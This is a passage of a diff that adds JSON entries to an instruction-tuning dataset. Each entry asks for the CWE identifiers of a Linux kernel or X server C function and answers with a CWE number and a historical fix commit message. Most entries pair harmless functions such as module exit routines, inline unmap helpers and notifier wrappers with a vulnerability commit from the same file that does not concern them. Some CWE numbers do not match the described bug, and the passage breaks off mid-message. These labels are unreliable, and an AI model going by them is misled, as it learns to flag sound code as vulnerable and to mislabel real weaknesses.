end of the IV.\n\nThis bug was found by Dirk Nehring  .\n\nSigned-off-by: Thomas Graf \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static u32 esp6_get_mtu(struct xfrm_state *x, int mtu)\n{\n\tstruct esp_data *esp = x->data;\n\tu32 blksize = ALIGN(crypto_aead_blocksize(esp->aead), 4);\n\tu32 align = max_t(u32, blksize, esp->padlen);\n\tu32 rem;\n\n\tmtu -= x->props.header_len + crypto_aead_authsize(esp->aead);\n\trem = mtu & (align - 1);\n\tmtu &= ~(align - 1);\n\n\tif (x->props.mode != XFRM_MODE_TUNNEL) {\n\t\tu32 padsize = ((blksize - 1) & 7) + 1;\n\t\tmtu -= blksize - padsize;\n\t\tmtu += min_t(u32, blksize - padsize, rem);\n\t}\n\n\treturn mtu - 2;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-16'], 'message': '[ESP]: Ensure IV is in linear part of the skb to avoid BUG() due to OOB access\n\nESP does not account for the IV size when calling pskb_may_pull() to\nensure everything it accesses directly is within the linear part of a\npotential fragment. This results in a BUG() being triggered when the\nboth the IPv4 and IPv6 ESP stack is fed with an skb where the first\nfragment ends between the end of the esp header and the end of the IV.\n\nThis bug was found by Dirk Nehring  .\n\nSigned-off-by: Thomas Graf \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void __exit esp4_fini(void)\n{\n\tif (inet_del_protocol(&esp4_protocol, IPPROTO_ESP) < 0)\n\t\tprintk(KERN_INFO \"ip esp close: can't remove protocol\\n\");\n\tif (xfrm_unregister_type(&esp_type, AF_INET) < 0)\n\t\tprintk(KERN_INFO \"ip esp close: can't remove xfrm type\\n\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-16'], 'message': '[ESP]: Ensure IV is in linear part of the skb to avoid BUG() due to OOB access\n\nESP does not account for the IV size when calling pskb_may_pull() to\nensure everything it accesses directly is within the linear part of a\npotential fragment. This results in a BUG() being triggered when the\nboth the IPv4 and IPv6 ESP stack is fed with an skb where the first\nfragment ends between the end of the esp header and the end of the IV.\n\nThis bug was found by Dirk Nehring  .\n\nSigned-off-by: Thomas Graf \nSigned-off-by: David S. Miller '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_readbchan(int di, int channel, u_char * buf, u_char * fp, int len, wait_queue_head_t *sleep)\n{\n\tint count;\n\tint count_pull;\n\tint count_put;\n\tint dflag;\n\tstruct sk_buff *skb;\n\tu_char *cp;\n\n\tif (!dev->drv[di])\n\t\treturn 0;\n\tif (skb_queue_empty(&dev->drv[di]->rpqueue[channel])) {\n\t\tif (sleep)\n\t\t\tinterruptible_sleep_on(sleep);\n\t\telse\n\t\t\treturn 0;\n\t}\n\tif (len > dev->drv[di]->rcvcount[channel])\n\t\tlen = dev->drv[di]->rcvcount[channel];\n\tcp = buf;\n\tcount = 0;\n\twhile (len) {\n\t\tif (!(skb = skb_peek(&dev->drv[di]->rpqueue[channel])))\n\t\t\tbreak;\n#ifdef CONFIG_ISDN_AUDIO\n\t\tif (ISDN_AUDIO_SKB_LOCK(skb))\n\t\t\tbreak;\n\t\tISDN_AUDIO_SKB_LOCK(skb) = 1;\n\t\tif ((ISDN_AUDIO_SKB_DLECOUNT(skb)) || (dev->drv[di]->DLEflag & (1 << channel))) {\n\t\t\tchar *p = skb->data;\n\t\t\tunsigned long DLEmask = (1 << channel);\n\n\t\t\tdflag = 0;\n\t\t\tcount_pull = count_put = 0;\n\t\t\twhile ((count_pull < skb->len) && (len > 0)) {\n\t\t\t\tlen--;\n\t\t\t\tif (dev->drv[di]->DLEflag & DLEmask) {\n\t\t\t\t\t*cp++ = DLE;\n\t\t\t\t\tdev->drv[di]->DLEflag &= ~DLEmask;\n\t\t\t\t} else {\n\t\t\t\t\t*cp++ = *p;\n\t\t\t\t\tif (*p == DLE) {\n\t\t\t\t\t\tdev->drv[di]->DLEflag |= DLEmask;\n\t\t\t\t\t\t(ISDN_AUDIO_SKB_DLECOUNT(skb))--;\n\t\t\t\t\t}\n\t\t\t\t\tp++;\n\t\t\t\t\tcount_pull++;\n\t\t\t\t}\n\t\t\t\tcount_put++;\n\t\t\t}\n\t\t\tif (count_pull >= skb->len)\n\t\t\t\tdflag = 1;\n\t\t} else {\n#endif\n\t\t\t/* No DLE's in buff, so simply copy it */\n\t\t\tdflag = 1;\n\t\t\tif ((count_pull = skb->len) > len) {\n\t\t\t\tcount_pull = len;\n\t\t\t\tdflag = 0;\n\t\t\t}\n\t\t\tcount_put = count_pull;\n\t\t\tskb_copy_from_linear_data(skb, cp, count_put);\n\t\t\tcp += count_put;\n\t\t\tlen -= count_put;\n#ifdef CONFIG_ISDN_AUDIO\n\t\t}\n#endif\n\t\tcount += count_put;\n\t\tif (fp) {\n\t\t\tmemset(fp, 0, count_put);\n\t\t\tfp += count_put;\n\t\t}\n\t\tif (dflag) {\n\t\t\t/* We got all the data in this buff.\n\t\t\t * Now we can dequeue it.\n\t\t\t */\n\t\t\tif (fp)\n\t\t\t\t*(fp - 1) = 0xff;\n#ifdef CONFIG_ISDN_AUDIO\n\t\t\tISDN_AUDIO_SKB_LOCK(skb) = 0;\n#endif\n\t\t\tskb = skb_dequeue(&dev->drv[di]->rpqueue[channel]);\n\t\t\tdev_kfree_skb(skb);\n\t\t} else {\n\t\t\t/* Not yet emptied this buff, so it\n\t\t\t * must stay in the queue, for further calls\n\t\t\t * but we pull off the data we got until now.\n\t\t\t */\n\t\t\tskb_pull(skb, count_pull);\n#ifdef CONFIG_ISDN_AUDIO\n\t\t\tISDN_AUDIO_SKB_LOCK(skb) = 0;\n#endif\n\t\t}\n\t\tdev->drv[di]->rcvcount[channel] -= count_put;\n\t}\n\treturn count;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'I4L: fix isdn_ioctl memory overrun vulnerability\n\nFix possible memory overrun issue in the isdn ioctl code.\n\nFound by ADLAB \n\nSigned-off-by: Karsten Keil \nCc: ADLAB \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_dc2minor(int di, int ch)\n{\n\tint i;\n\tfor (i = 0; i < ISDN_MAX_CHANNELS; i++)\n\t\tif (dev->chanmap[i] == ch && dev->drvmap[i] == di)\n\t\t\treturn i;\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'I4L: fix isdn_ioctl memory overrun vulnerability\n\nFix possible memory overrun issue in the isdn ioctl code.\n\nFound by ADLAB \n\nSigned-off-by: Karsten Keil \nCc: ADLAB \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_timer_ctrl(int tf, int onoff)\n{\n\tunsigned long flags;\n\tint old_tflags;\n\n\tspin_lock_irqsave(&dev->timerlock, flags);\n\tif ((tf & ISDN_TIMER_SLOW) && (!(dev->tflags & ISDN_TIMER_SLOW))) {\n\t\t/* If the slow-timer wasn't activated until now */\n\t\tisdn_timer_cnt1 = 0;\n\t\tisdn_timer_cnt2 = 0;\n\t}\n\told_tflags = dev->tflags;\n\tif (onoff)\n\t\tdev->tflags |= tf;\n\telse\n\t\tdev->tflags &= ~tf;\n\tif (dev->tflags && !old_tflags)\n\t\tmod_timer(&dev->timer, jiffies+ISDN_TIMER_RES);\n\tspin_unlock_irqrestore(&dev->timerlock, flags);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'I4L: fix isdn_ioctl memory overrun vulnerability\n\nFix possible memory overrun issue in the isdn ioctl code.\n\nFound by ADLAB \n\nSigned-off-by: Karsten Keil \nCc: ADLAB \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: set_global_features(void)\n{\n\tint drvidx;\n\n\tdev->global_features = 0;\n\tfor (drvidx = 0; drvidx < ISDN_MAX_DRIVERS; drvidx++) {\n\t\tif (!dev->drv[drvidx])\n\t\t\tcontinue;\n\t\tif (dev->drv[drvidx]->interface)\n\t\t\tdev->global_features |= dev->drv[drvidx]->interface->features;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'I4L: fix isdn_ioctl memory overrun vulnerability\n\nFix possible memory overrun issue in the isdn ioctl code.\n\nFound by ADLAB \n\nSigned-off-by: Karsten Keil \nCc: ADLAB \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isdn_free_channel(int di, int ch, int usage)\n{\n\tint i;\n\n\tif ((di < 0) || (ch < 0)) {\n\t\tprintk(KERN_WARNING \"%s: called with invalid drv(%d) or channel(%d)\\n\",\n\t\t\t__FUNCTION__, di, ch);\n\t\treturn;\n\t}\n\tfor (i = 0; i < ISDN_MAX_CHANNELS; i++)\n\t\tif (((!usage) || ((dev->usage[i] & ISDN_USAGE_MASK) == usage)) &&\n\t\t    (dev->drvmap[i] == di) &&\n\t\t    (dev->chanmap[i] == ch)) {\n\t\t\tdev->usage[i] &= (ISDN_USAGE_NONE | ISDN_USAGE_EXCLUSIVE);\n\t\t\tstrcpy(dev->num[i], \"???\");\n\t\t\tdev->ibytes[i] = 0;\n\t\t\tdev->obytes[i] = 0;\n// 20.10.99 JIM, try to reinitialize v110 !\n\t\t\tdev->v110emu[i] = 0;\n\t\t\tatomic_set(&(dev->v110use[i]), 0);\n\t\t\tisdn_v110_close(dev->v110[i]);\n\t\t\tdev->v110[i] = NULL;\n// 20.10.99 JIM, try to reinitialize v110 !\n\t\t\tisdn_info_update();\n\t\t\tif (dev->drv[di])\n\t\t\t\tskb_queue_purge(&dev->drv[di]->rpqueue[ch]);\n\t\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': 'I4L: fix isdn_ioctl memory overrun vulnerability\n\nFix possible memory overrun issue in the isdn ioctl code.\n\nFound by ADLAB \n\nSigned-off-by: Karsten Keil \nCc: ADLAB \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline int shmem_acct_block(unsigned long flags)\n{\n\treturn (flags & VM_ACCOUNT)?\n\t\t0: security_vm_enough_memory(VM_ACCT(PAGE_CACHE_SIZE));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11.  There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int shmem_unuse(swp_entry_t entry, struct page *page)\n{\n\tstruct list_head *p, *next;\n\tstruct shmem_inode_info *info;\n\tint found = 0;\n\n\tspin_lock(&shmem_swaplist_lock);\n\tlist_for_each_safe(p, next, &shmem_swaplist) {\n\t\tinfo = list_entry(p, struct shmem_inode_info, swaplist);\n\t\tif (!info->swapped)\n\t\t\tlist_del_init(&info->swaplist);\n\t\telse if (shmem_unuse_inode(info, entry, page)) {\n\t\t\t/* move head to start search for next from here */\n\t\t\tlist_move_tail(&shmem_swaplist, &info->swaplist);\n\t\t\tfound = 1;\n\t\t\tbreak;\n\t\t}\n\t}\n\tspin_unlock(&shmem_swaplist_lock);\n\treturn found;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11.  There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void shmem_put_link(struct dentry *dentry, struct nameidata *nd, void *cookie)\n{\n\tif (!IS_ERR(nd_get_link(nd))) {\n\t\tstruct page *page = cookie;\n\t\tkunmap(page);\n\t\tmark_page_accessed(page);\n\t\tpage_cache_release(page);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11.  There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int shmem_map_and_free_swp(struct page *subdir, int offset,\n\t\tint limit, struct page ***dir, spinlock_t *punch_lock)\n{\n\tswp_entry_t *ptr;\n\tint freed = 0;\n\n\tptr = shmem_swp_map(subdir);\n\tfor (; offset < limit; offset += LATENCY_LIMIT) {\n\t\tint size = limit - offset;\n\t\tif (size > LATENCY_LIMIT)\n\t\t\tsize = LATENCY_LIMIT;\n\t\tfreed += shmem_free_swp(ptr+offset, ptr+offset+size,\n\t\t\t\t\t\t\tpunch_lock);\n\t\tif (need_resched()) {\n\t\t\tshmem_swp_unmap(ptr);\n\t\t\tif (*dir) {\n\t\t\t\tshmem_dir_unmap(*dir);\n\t\t\t\t*dir = NULL;\n\t\t\t}\n\t\t\tcond_resched();\n\t\t\tptr = shmem_swp_map(subdir);\n\t\t}\n\t}\n\tshmem_swp_unmap(ptr);\n\treturn freed;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11.  There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int shmem_match(struct inode *ino, void *vfh)\n{\n\t__u32 *fh = vfh;\n\t__u64 inum = fh[2];\n\tinum = (inum << 32) | fh[1];\n\treturn ino->i_ino == inum && fh[0] == ino->i_generation;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11.  There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline void shmem_swp_unmap(swp_entry_t *entry)\n{\n\tkunmap_atomic(entry, KM_USER1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11.  There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void init_once(struct kmem_cache *cachep, void *foo)\n{\n\tstruct shmem_inode_info *p = (struct shmem_inode_info *) foo;\n\n\tinode_init_once(&p->vfs_inode);\n#ifdef CONFIG_TMPFS_POSIX_ACL\n\tp->i_acl = NULL;\n\tp->i_default_acl = NULL;\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11.  There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline int shmem_parse_mpol(char *value, int *policy,\n\t\t\t\t\t\tnodemask_t *policy_nodes)\n{\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'tmpfs: restore missing clear_highpage\n\ntmpfs was misconverted to __GFP_ZERO in 2.6.11.  There's an unusual case in\nwhich shmem_getpage receives the page from its caller instead of allocating.\nWe must cover this case by clear_highpage before SetPageUptodate, as before.\n\nSigned-off-by: Hugh Dickins \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: shm_access(ClientPtr client, SHMPERM_TYPE *perm, int readonly)\n{\n    int uid, gid;\n    mode_t mask;\n    int uidset = 0, gidset = 0;\n    LocalClientCredRec *lcc;\n    \n    if (GetLocalClientCreds(client, &lcc) != -1) {\n\n\tif (lcc->fieldsSet & LCC_UID_SET) {\n\t    uid = lcc->euid;\n\t    uidset = 1;\n\t}\n\tif (lcc->fieldsSet & LCC_GID_SET) {\n\t    gid = lcc->egid;\n\t    gidset = 1;\n\t}\n\n#if defined(HAVE_GETZONEID) && defined(SHMPERM_ZONEID)\n\tif ( ((lcc->fieldsSet & LCC_ZID_SET) == 0) || (lcc->zoneid == -1)\n\t     || (lcc->zoneid != SHMPERM_ZONEID(perm))) {\n\t\tuidset = 0;\n\t\tgidset = 0;\n\t}\n#endif\n\tFreeLocalClientCreds(lcc);\n\t\n\tif (uidset) {\n\t    /* User id 0 always gets access */\n\t    if (uid == 0) {\n\t\treturn 0;\n\t    }\n\t    /* Check the owner */\n\t    if (SHMPERM_UID(perm) == uid || SHMPERM_CUID(perm) == uid) {\n\t\tmask = S_IRUSR;\n\t\tif (!readonly) {\n\t\t    mask |= S_IWUSR;\n\t\t}\n\t\treturn (SHMPERM_MODE(perm) & mask) == mask ? 0 : -1;\n\t    }\n\t}\n\n\tif (gidset) {\n\t    /* Check the group */\n\t    if (SHMPERM_GID(perm) == gid || SHMPERM_CGID(perm) == gid) {\n\t\tmask = S_IRGRP;\n\t\tif (!readonly) {\n\t\t    mask |= S_IWGRP;\n\t\t}\n\t\treturn (SHMPERM_MODE(perm) & mask) == mask ? 0 : -1;\n\t    }\n\t}\n    }\n    /* Otherwise, check everyone else */\n    mask = S_IROTH;\n    if (!readonly) {\n\tmask |= S_IWOTH;\n    }\n    return (SHMPERM_MODE(perm) & mask) == mask ? 0 : -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-189'], 'message': 'CVE-2007-6429: Always test for size+offset wrapping.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: SShmCompletionEvent(from, to)\n    xShmCompletionEvent *from, *to;\n{\n    to->type = from->type;\n    cpswaps(from->sequenceNumber, to->sequenceNumber);\n    cpswapl(from->drawable, to->drawable);\n    cpswaps(from->minorEvent, to->minorEvent);\n    to->majorEvent = from->majorEvent;\n    cpswapl(from->shmseg, to->shmseg);\n    cpswapl(from->offset, to->offset);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-189'], 'message': 'CVE-2007-6429: Always test for size+offset wrapping.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ShmDetachSegment(value, shmseg)\n    pointer value; /* must conform to DeleteType */\n    XID shmseg;\n{\n    ShmDescPtr shmdesc = (ShmDescPtr)value;\n    ShmDescPtr *prev;\n\n    if (--shmdesc->refcnt)\n\treturn TRUE;\n    shmdt(shmdesc->addr);\n    for (prev = &Shmsegs; *prev != shmdesc; prev = &(*prev)->next)\n\t;\n    *prev = shmdesc->next;\n    xfree(shmdesc);\n    return Success;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-189'], 'message': 'CVE-2007-6429: Always test for size+offset wrapping.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int user_page_pipe_buf_steal(struct pipe_inode_info *pipe,\n\t\t\t\t    struct pipe_buffer *buf)\n{\n\tif (!(buf->flags & PIPE_BUF_FLAG_GIFT))\n\t\treturn 1;\n\n\tbuf->flags |= PIPE_BUF_FLAG_LRU;\n\treturn generic_pipe_buf_steal(pipe, buf);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-94'], 'message': 'splice: missing user pointer access verification\n\nvmsplice_to_user() must always check the user pointer and length\nwith access_ok() before copying. Likewise, for the slow path of\ncopy_from_user_mmap_sem() we need to check that we may read from\nthe user region.\n\nSigned-off-by: Jens Axboe \nCc: Wojciech Purczynski \nSigned-off-by: Greg Kroah-Hartman \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int pipe_to_sendpage(struct pipe_inode_info *pipe,\n\t\t\t    struct pipe_buffer *buf, struct splice_desc *sd)\n{\n\tstruct file *file = sd->u.file;\n\tloff_t pos = sd->pos;\n\tint ret, more;\n\n\tret = buf->ops->confirm(pipe, buf);\n\tif (!ret) {\n\t\tmore = (sd->flags & SPLICE_F_MORE) || sd->len < sd->total_len;\n\n\t\tret = file->f_op->sendpage(file, buf->page, buf->offset,\n\t\t\t\t\t   sd->len, &pos, more);\n\t}\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-94'], 'message': 'splice: missing user pointer access verification\n\nvmsplice_to_user() must always check the user pointer and length\nwith access_ok() before copying. Likewise, for the slow path of\ncopy_from_user_mmap_sem() we need to check that we may read from\nthe user region.\n\nSigned-off-by: Jens Axboe \nCc: Wojciech Purczynski \nSigned-off-by: Greg Kroah-Hartman \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline struct pipe_inode_info *pipe_info(struct inode *inode)\n{\n\tif (S_ISFIFO(inode->i_mode))\n\t\treturn inode->i_pipe;\n\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-94'], 'message': 'splice: missing user pointer access verification\n\nvmsplice_to_user() must always check the user pointer and length\nwith access_ok() before copying. Likewise, for the slow path of\ncopy_from_user_mmap_sem() we need to check that we may read from\nthe user region.\n\nSigned-off-by: Jens Axboe \nCc: Wojciech Purczynski \nSigned-off-by: Greg Kroah-Hartman \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int raw_notifier_chain_register(struct raw_notifier_head *nh,\n\t\tstruct notifier_block *n)\n{\n\treturn notifier_chain_register(&nh->head, n);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'CPU time limit patch / setrlimit(RLIMIT_CPU, 0) cheat fix\n\nAs discovered here today, the change in Kernel 2.6.17 intended to inhibit\nusers from setting RLIMIT_CPU to 0 (as that is equivalent to unlimited) by\n\"cheating\" and setting it to 1 in such a case, does not make a difference,\nas the check is done in the wrong place (too late), and only applies to the\nprofiling code.\n\nOn all systems I checked running kernels above 2.6.17, no matter what the\nhard and soft CPU time limits were before, a user could escape them by\nissuing in the shell (sh/bash/zsh) \"ulimit -t 0\", and then the user's\nprocess was not ever killed.\n\nAttached is a trivial patch to fix that.  Simply moving the check to a\nslightly earlier location (specifically, before the line that actually\nassigns the limit - *old_rlim = new_rlim), does the trick.\n\nDo note that at least the zsh (but not ash, dash, or bash) shell has the\nproblem of \"caching\" the limits set by the ulimit command, so when running\nzsh the fix will not immediately be evident - after entering \"ulimit -t 0\",\n\"ulimit -a\" will show \"-t: cpu time (seconds) 0\", even though the actual\nlimit as returned by getrlimit(...) will be 1.  It can be verified by\nopening a subshell (which will not have the values of the parent shell in\ncache) and checking in it, or just by running a CPU intensive command like\n\"echo '65536^1048576' | bc\" and verifying that it dumps core after one\nsecond.\n\nRegardless of whether that is a misfeature in the shell, perhaps it would\nbe better to return -EINVAL from setrlimit in such a case instead of\ncheating and setting to 1, as that does not really reflect the actual state\nof the process anymore.  I do not however know what the ground for that\ndecision was in the original 2.6.17 change, and whether there would be any\n\"backward\" compatibility issues, so I preferred not to touch that right\nnow.\n\nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int groups_from_user(struct group_info *group_info,\n    gid_t __user *grouplist)\n{\n\tint i;\n\tint count = group_info->ngroups;\n\n\tfor (i = 0; i < group_info->nblocks; i++) {\n\t\tint cp_count = min(NGROUPS_PER_BLOCK, count);\n\t\tint off = i * NGROUPS_PER_BLOCK;\n\t\tint len = cp_count * sizeof(*grouplist);\n\n\t\tif (copy_from_user(group_info->blocks[i], grouplist+off, len))\n\t\t\treturn -EFAULT;\n\n\t\tcount -= cp_count;\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'CPU time limit patch / setrlimit(RLIMIT_CPU, 0) cheat fix\n\nAs discovered here today, the change in Kernel 2.6.17 intended to inhibit\nusers from setting RLIMIT_CPU to 0 (as that is equivalent to unlimited) by\n\"cheating\" and setting it to 1 in such a case, does not make a difference,\nas the check is done in the wrong place (too late), and only applies to the\nprofiling code.\n\nOn all systems I checked 